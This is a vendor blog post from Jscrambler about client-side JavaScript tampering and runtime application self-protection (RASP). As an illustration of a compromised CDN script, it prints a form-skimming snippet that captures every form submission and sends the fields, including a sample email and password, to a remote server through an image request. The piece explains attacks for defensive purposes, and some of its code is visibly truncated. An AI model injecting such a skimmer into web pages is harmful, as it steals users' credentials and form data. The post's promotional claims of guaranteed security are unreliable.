September 29, 2016

The Most Effective Way to Protect Client-Side JavaScript Applications

by Jscrambler

Protecting JavaScript Applications with Client-Side RASP

There are many useful features in a client-side technology like JavaScript. That’s what made it the most popular programming language in the world.

It features many advantages, immediate parsing being one of them. This has benefits, for example, as the browser executes code right as it downloads content. But, with this level of freedom comes responsibility.

In this article, weʼd like to delve into security perils in JavaScript. This will cover only front-end code that runs on the browser. We will focus on other types on future posts.

Imagine what the browser has to do to execute JavaScript. First, it has to download the page and begin parsing. The browser doesnʼt wait around for everything to download. It has the capability to download and parse the page at the same time. So what happens when it encounters JavaScript?

JavaScript is render blocking, this has a tremendous advantage when it executes. What this means is, the browser will halt parsing, execute JavaScript first, then continue. This gives one ultimate flexibility in wielding this programming language. This opens up the code to any number of possibilities.

But, the question is, what are the implications of such features?

Debugging and Tampering

To illustrate, imagine the following code snippet:

<div id="hack-target"></div>
<button>Set Value</button>

    document.querySelector('button').addEventListener('click', setValue);

    function setValue() {
        var value = '2';
        document.getElementById('hack-target').innerText = value;

This declares a target in HTML and wires up events. When you click the button, the callback fires.

With client-side JavaScript, one can set a breakpoint right where it sets the value. This breakpoint gets hit right as the event fires. The value that gets set through var value = '2'; can change at will. The debugger halts execution and allows a person to tamper with the page. This capability is great and the browser does not raise any flags while this is happening.

Since the debugger halts the execution, it has the power to halt page rendering too. Debugging is part of the tooling inside the browser so any person gets access to this. They are the Web Developer Tools.

To see this technique in action check out the Code Pen available. Below is a screenshot of this feature:

Hacking The DOM

This feature is great for debugging JavaScript but what does this mean for security?

This means an attacker can change JavaScript at runtime. The attacker can hit a breakpoint, change the DOM and enter arbitrary JavaScript in the console. This kind of attack can exploit vulnerabilities on the client. The attacker can change the data, hijack the session and make arbitrary JavaScript changes on the page.

For example, with the Web Developer Tools opened, one can go to the Console tab and enter:

document.querySelector('button').addEventListener('click', function() {

The next time this event fires, it will fire this JavaScript change. Can you feel the bitter taste of danger?

Let's say that somehow (this has already happened before) your CDN gets compromised and the jQuery script you're including on your website is modified, adding the snippet below:

!function(){document.querySelectorAll("form").forEach(function(a){a.addEventListener("submit",function(a){var b;if(! null;b=new FormData(;var d="";for(var e of b.entries())d=d+"&"+e[0]+"="+e[1];return(new Image).src=""+d.substring(1),!0})})}();

Probably you won't notice that change and basically, your website will be distributing malware.

Let's try a more readable version of the same snippet:

! function() {
    document.querySelectorAll("form").forEach(function(a) {
        a.addEventListener("submit", function(a) {
            var b;
            if (! return null;
            b = new FormData(;
            var d = "";
            for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];
            return (new Image).src = "" + d.substring(1), !0
  1. For every form on the page,
  2. a submit event handler is added, so that when triggered,
  3. form data is collected and rewritten using Query String format,
  4. which is then appended to the new Image resource source URL.

Ok, let's make is clear: everytime a form is submitted, the exactly same data is sent to a remote server (, requesting what is supposed to be an image resource.

Then, who has the ownership of will receive it on their access log: - - [13/Mar/2017:15:26:14 +0100] "GET /[email protected]&pass=k284D5B178Ho7QA HTTP/1.1" 200 4 "" "Mozilla/5.0 (Macintosh; In      tel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

Why JavaScript?

The question you may be asking is, how did it all come to be like this?
When Netscape released JavaScript in 1995. This new programming language became the “glue language” of the web.

Netscape submitted their JavaScript standard to Ecma International and their version just became the standard, better known as ECMAScript.
Due to the fact that ECMAScript is standardized, any browser that claims to support it really has to comply to this standard and thus it does not cause conflict when used with different browsers. This means that you can write a script for Google Chrome and it would also have to work on Opera, NetScape, Internet Explorer and Microsoft Edge.
JavaScript got built around flexibility. Giving you all the capability necessary to do what you want with it. The dynamic nature of JavaScript flows from this design principle. This allowed it to become the defacto language for the browser.

All this is ancient history now, but what about JavaScript security?

Security on the client-side

To protect against malicious JavaScript, the best option is to add runtime protection. Runtime Application Self-Protection (RASP) will protect client code during execution. With the flexible and dynamic nature of the web comes the need of securing at runtime, since an attacker can change JavaScript on the client at will.

RASP is the most effective level of protection for client-side applications and it gets summed up in this way:

Runtime application self-protection is a security technology that is built or linked into an application or application runtime environment and is capable of controlling application execution, detecting and preventing real-time attacks.

Once JavaScript hits the browser, there is nothing to shield its execution completely. RASP will guard against debugging and code tampering attacks that only happen at runtime. This will include attacks that modify the application while it is offline. A good RASP solution will also scramble the code to where an attacker canʼt tamper with the solution itself and simply go around it. These several layers of protection guarantee security on the open web.

If the RASP solution is any good, it will send notifications when an attacker attempts to thwart code. This allows one to react and take action, for example by cancelling the user session.

Jscrambler offers a RASP solution that protects applications against runtime attacks. It can make it self-defensive and detect tampering. The self-defending capabilities it offers add active protection to the JavaScript application. Jscrambler uses anti-debugging and anti-tampering techniques – well known application protection concepts – but for JavaScript specific reality and limitations. Anti-debugging detects the use of debugging tools (e.g. DevTools, Firebug) and tries to stop the reverse-engineer from using it to debug the app. This is achieved with code traps that make the debugging tools stop working and make the call stack grow, keeping the user from inspecting the app’s control-flow. Anti-tampering detects code changes and reacts to that. For instance, if you add/remove a single semicolon from a function protected with Self-defending, it will detect that change and make the code stop working. Both techniques together with code obfuscation make it unfeasible to tamper with the application.


Implementing security in JavaScript must take into account what happens at runtime. By its nature, this dynamic language for the web got built for flexibility. Like any good double-edged sword, you must wield this with responsibility.